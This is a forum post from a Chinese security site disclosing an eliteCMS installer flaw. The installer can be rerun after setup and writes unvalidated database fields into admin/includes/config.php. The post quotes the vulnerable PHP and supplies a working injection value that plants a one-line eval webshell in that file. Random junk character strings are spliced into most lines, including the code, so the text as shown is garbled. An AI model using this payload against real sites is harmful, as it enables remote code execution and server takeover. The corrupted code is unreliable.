找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2344|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装& S& [8 h* L8 N  `9 d2 V0 f

1 q- R  a) H+ o3 U6 N" {另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php( ^/ U7 @. q: v! N7 D4 E0 z. ?0 O
我们来看代码:
7 k8 W4 p/ f: H5 g- G ! P( u* j% ~! M
...% ]: O: ?& c& Q% i6 b& d) k
elseif ($_GET['step'] == "4") {/ I& p# b) G- l$ x9 X
    $file = "../admin/includes/config.php";
* Z" N  A& C2 L$ }" i+ \6 o# U6 @    $write = "<?php\n";/ A& _6 G/ ?" K* t
    $write .= "/**\n";2 J5 W& D& T; K+ }1 ?+ t
    $write .= "*\n";
0 A/ m5 G6 S" T' c    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
8 y5 D" U' ]$ o9 V/ `...略...- l/ ?$ |; i4 ~& A* h7 X& K
    $write .= "*\n";+ Y7 X/ P+ N/ O( [' ^
    $write .= "*/\n";
" \: T$ V( J9 h) y3 A    $write .= "\n";
. T" k9 f5 ]4 G. G% B( ^& }* V# q    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";% v/ Y* [  E1 a
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
; ?2 u* c5 F! R! J  a    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
, X1 _+ h: l5 V; u! p; D    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";7 Z0 H! K5 P. _  c3 L
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";; X+ T  B) X1 o4 l: l* b
    $write .= "if (!\$connection) {\n";1 P9 ?5 B  A6 E- i! c# k
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";( h* ]7 H4 ~! [9 ^, m% w
    $write .= "        \n";
% _; A6 K9 h: E    $write .= "} \n";
, \9 f. A9 |$ f( \2 t, _+ J    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";: S8 D" O$ I& f; w1 |
    $write .= "if (!\$db_select) {\n";
1 @2 y  f2 N* `$ l- r* E- f" Q    $write .= "        die(\"Database select failed\" .mysql_error());\n";, e& Y" n6 ~2 x
    $write .= "        \n";
5 u) U# W: [1 n$ N* @# O    $write .= "} \n";  e9 G4 h9 l" @) o% \: Y, H
    $write .= "?>\n";
( h+ s* I5 `' X* b3 c   l& p. \& a; A* L* Q- j0 L
    $writer = fopen($file, 'w');
& E: V( M# a( f% t! X& L& b: f...
! ^- p  p1 W3 l3 c2 O1 a 8 c" k, x% e  r4 i5 Y
在看代码:' z# D3 n, V# s  A
: ?3 E5 n% W- g0 D- |! y7 s
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
, E  h9 Q& C0 l% w$_SESSION['DB_NAME'] = $_POST['DB_NAME'];  ?0 ?5 g: O9 R' V7 i
$_SESSION['DB_USER'] = $_POST['DB_USER'];8 _' T& l7 K- V1 W0 E' {
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
. x% W" B. E' r
2 T: b) X- m# R& E取值未作任何验证* v; f4 K! A# N/ ~) E" N0 ]
如果将数据库名POST数据:  Q  L. R3 a  f" [
7 E5 }/ P& D: I0 m; w& y8 b9 |0 g
"?><?php eval($_POST[c]);?><?php
  P, w5 ^& [7 ~* j! T7 P ! v0 M. w) r  D- U  Q) n# }
将导致一句话后门写入/admin/includes/config.php; y, E: u9 Y& `7 N, B7 Z5 @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表